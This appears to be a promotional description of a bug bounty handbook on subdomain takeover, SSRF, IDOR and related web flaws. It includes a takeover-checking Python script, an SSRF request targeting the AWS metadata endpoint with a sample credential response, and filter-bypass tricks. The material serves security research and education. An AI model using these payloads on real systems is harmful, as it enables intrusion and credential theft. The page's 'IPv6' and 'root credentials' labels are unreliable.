Real-World Bug Hunting

Executive Summary: Finding Logic Flaws Where Scanners Fail

In the competitive world of modern bug bounty platforms like HackerOne, Bugcrowd, and Intigriti, thousands of security researchers run the exact same automated scanners against target scopes. As a result, standard vulnerabilities like low-hanging XSS or outdated software banners are claimed within minutes of a program launch. To secure consistent 4-figure and 5-figure bounty payouts, researchers must look beyond automated tools and master human-driven business logic exploitation.

Real-World Bug Hunting is a practical 260-page field guide written for security researchers, penetration testers, and application security engineers. By dissecting dozens of real, awarded vulnerability submissions across major Silicon Valley tech companies, this handbook teaches you how to discover hidden subdomains, trigger server-side request forgery (SSRF), bypass OAuth 2.0 authentication flows, and construct professional bug reports that get accepted and paid promptly.

Deep Dive: Core High-Impact Bounty Vulnerabilities

The handbook provides operational playbooks across five high-payout vulnerability categories:

1. Advanced Reconnaissance & Subdomain Takeover

High-yielding targets often have thousands of forgotten subdomains across secondary cloud providers. The book covers automated discovery:

• Dangling CNAME Detection: Identifying DNS records pointing to decommissioned third-party services (e.g. subdomain.target.com CNAME target.s3-website-us-east-1.amazonaws.com returning NoSuchBucket).
• Claiming Cloud Resources: Registering the exact bucket or app name to gain complete JavaScript execution on the victim's domain.

2. Server-Side Request Forgery (SSRF) & IAM Token Exfiltration

SSRF allows attackers to force a web server to issue HTTP requests to internal resources:

• Bypassing Blacklist Filters: Utilizing IPv6 decimal encoding (http://2852039166/), DNS rebinding, or HTTP redirects to bypass 127.0.0.1 filters.
• Cloud Metadata Extraction: Querying http://169.254.169.254/latest/meta-data/iam/security-credentials/ to harvest temporary AWS root credentials.

3. Insecure Direct Object References (IDOR) & BOLA

IDOR remains the #1 awarded vulnerability type on modern API-heavy web applications:

• Broken Object Level Authorization (BOLA): Replacing user_id=1042 with user_id=1043 in JSON requests to read private messages or financial invoices.
• Second-Order IDORs: Triggering background background tasks (e.g. PDF generation, data export) that reference unauthorized resource IDs.

Field Engineering: Subdomain Takeover & SSRF PoC Scripts

Chapter 5 of the handbook provides practical automation scripts for verifying dangling CNAME records and SSRF payloads:

import dns.resolver
import requests

# Dictionary of Known Service Signature Errors
SIGNATURES = {
    "AWS/S3": "NoSuchBucket",
    "GitHub Pages": "There isn't a GitHub Pages site here.",
    "Heroku": "Heroku | No such app",
    "Shopify": "Sorry, this shop is currently unavailable."
}

def check_subdomain_takeover(subdomain):
    try:
        answers = dns.resolver.resolve(subdomain, 'CNAME')
        for rdata in answers:
            cname = str(rdata.target)
            print(f"[*] Subdomain {subdomain} points to CNAME: {cname}")
            
            # Send HTTP Request to inspect response body
            resp = requests.get(f"http://{subdomain}", timeout=5)
            for provider, sig in SIGNATURES.items():
                if sig in resp.text:
                    print(f"[!] VULNERABLE TO SUBDOMAIN TAKEOVER: {subdomain} ({provider})")
    except Exception as e:
        pass

POST /api/v1/fetch-avatar-preview HTTP/1.1
Host: target-app.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsIn...
Content-Type: application/json

{
    "avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ProductionRole"
}

-- RESPONSE FROM TARGET SERVER --
HTTP/1.1 200 OK
Content-Type: application/json

{
    "Code": "Success",
    "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
    "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
    "Token": "IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMS..."
}

Complete Table of Contents & Module Syllabus

• Module 01 The Bug Bounty Ecosystem & Program Selection

  Pages 1–30
  Navigating HackerOne, Bugcrowd, and Intigriti, analyzing program scopes, avoiding duplicate reports, and choosing public vs private programs.
• Module 02 Reconnaissance Masterclass & Subdomain Takeovers

  Pages 31–65
  Subfinder, Amass, Httpx, Nuclei automation, identifying dangling CNAME records, and claiming GitHub Pages, S3, and Heroku subdomains.
• Module 03 Insecure Direct Object References (IDOR) & BOLA API Flaws

  Pages 66–100
  BOLA in REST and GraphQL APIs, parameter pollution, second-order IDORs, mass-assignment flaws, and Burp Match & Replace automation.
• Module 04 Server-Side Request Forgery (SSRF) & Cloud Metadata Leaks

  Pages 101–135
  Bypassing IP filters (decimal encoding, DNS rebinding), Out-of-Band (OAST) testing, and exfiltrating AWS, GCP, and Azure IMDS credentials.
• Module 05 OAuth 2.0 Vulnerabilities & Account Takeovers

  Pages 136–170
  Exploiting broken `redirect_uri` validation, missing `state` parameter CSRF, token theft via Referrer headers, and social login account takeover.
• Module 06 Cross-Site Scripting (XSS), CSP Bypasses & DOM Attacks

  Pages 171–200
  Reflected, Stored, and DOM-based XSS, bypassing Content Security Policy (CSP v3), leveraging gadget chains, and cookie exfiltration.
• Module 07 Business Logic Flaws, Price Manipulation & Race Conditions

  Pages 201–230
  Exploiting payment checkout workflows, negative quantity price manipulation, race conditions in coupon redemptions, and multi-step bypasses.
• Module 08 Professional Report Writing, CVSS & Payout Optimization

  Pages 231–260
  Writing high-impact bug bounty reports, calculating CVSS 3.1 scores, creating video PoCs, and communicating professionally with triagers.

Who Should Read This Handbook?

This handbook is designed for ethical hackers and bug bounty researchers:

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